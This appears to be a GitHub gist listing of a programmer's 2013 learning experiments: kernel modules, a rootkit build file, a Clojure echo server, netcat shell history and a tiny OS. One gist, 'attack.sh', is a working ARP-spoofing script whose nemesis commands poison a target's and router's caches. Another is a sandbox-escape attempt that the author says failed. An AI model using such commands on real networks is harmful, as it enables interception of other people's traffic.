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Julia Evans jvns

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jvns / Makefile
Created October 8, 2013 03:24
A simple kernel module that printk's "Hello, packet" when it intercepts a packet. Uses netfilter.
obj-m += hello-packet.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
@jvns
jvns / Makefile
Created October 9, 2013 01:55
A fun rootkit! See http://jvns.ca/blog/2013/10/08/day-6-i-wrote-a-rootkit/ for the story Most of the code is taken from https://github.com/mfontanini/Programs-Scripts/blob/master/rootkit/rootkit.c, so GPL'd as well
obj-m += rootkit.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
@jvns
jvns / echo-server.clj
Created October 10, 2013 00:16
A UDP echo server in Clojure. http://jvns.ca/blog/2013/10/09/day-7-an-echo-server-in-clojure/
(ns echo-server
(:import (java.net InetAddress DatagramPacket DatagramSocket)))
(def udp-server (ref nil))
(def port 12345)
(defn localhost [] (. InetAddress getLocalHost))
(defn message [text]
@jvns
jvns / hamlet.html
Last active December 26, 2015 12:59
How gzip would compress Hamlet.
<html>
<head>
<style type="text/css">
span.red {color: red;}
body {font-family: monospace;}
</style>
</head>
<body>
The Tragedie of Hamlet<br>
<br>
@jvns
jvns / attack.sh
Created October 29, 2013 18:21
ARP attack
#export PHONE_MAC=78:d6:f0:62:b3:7f
export TARGET_MAC=7c:d1:c3:eb:65:bd
export TARGET_IP=10.0.1.8
export ROUTER_IP=10.0.0.1
export ROUTER_MAC=68:05:ca:16:41:5e
export ATTACK_MAC=33:97:03:55:b3:7f
sudo nemesis arp -v -r -d eth0 -S $ROUTER_IP -D $TARGET_IP -h $ATTACK_MAC -m $TARGET_MAC -H $ATTACK_MAC -M $TARGET_MAC
sudo nemesis arp -v -r -d eth0 -S $TARGET_IP -D $ROUTER_IP -h $ATTACK_MAC -m $ROUTER_MAC -H $ATTACK_MAC -M $ROUTER_MAC
@jvns
jvns / getmeout.py
Created November 6, 2013 22:30
pysandbox breakout attempt (it didn't work)
types_checked = set()
remaining_types = set([int, dict, set, buffer, file, type])
# Try to call all the methods on an object x
def call_all_methods(x):
failures = set(dir(x))
successes = set()
results = set()
for num_args in [0, 1, 2, 3]:
args = range(1, num_args+1)
@jvns
jvns / git-workflow-viz.ipynb
Last active December 28, 2015 06:59
IPython notebook to visualize my git workflow
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@jvns
jvns / netcat-history
Created November 14, 2013 03:11
7912 lsof
7913 netstat -a
7914 netstat -an
7915 netstat -an | more
7916 netstat -anu | less
7917 ifconfig -a
7918 nc -l 12345
7919 tmux -2
7920 nc -l 12345
7921 netstat -anu
@jvns
jvns / git-graph-colours.ipynb
Created November 14, 2013 14:06
Git graph, with colours!
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@jvns
jvns / Makefile
Last active May 12, 2020 15:19
The tiniest operating system
myfirst.bin: myfirst.asm
nasm -f bin -o myfirst.bin myfirst.asm
dd status=noxfer conv=notrunc if=myfirst.bin of=myfirst.flp
run: myfirst.bin
kvm -fda myfirst.flp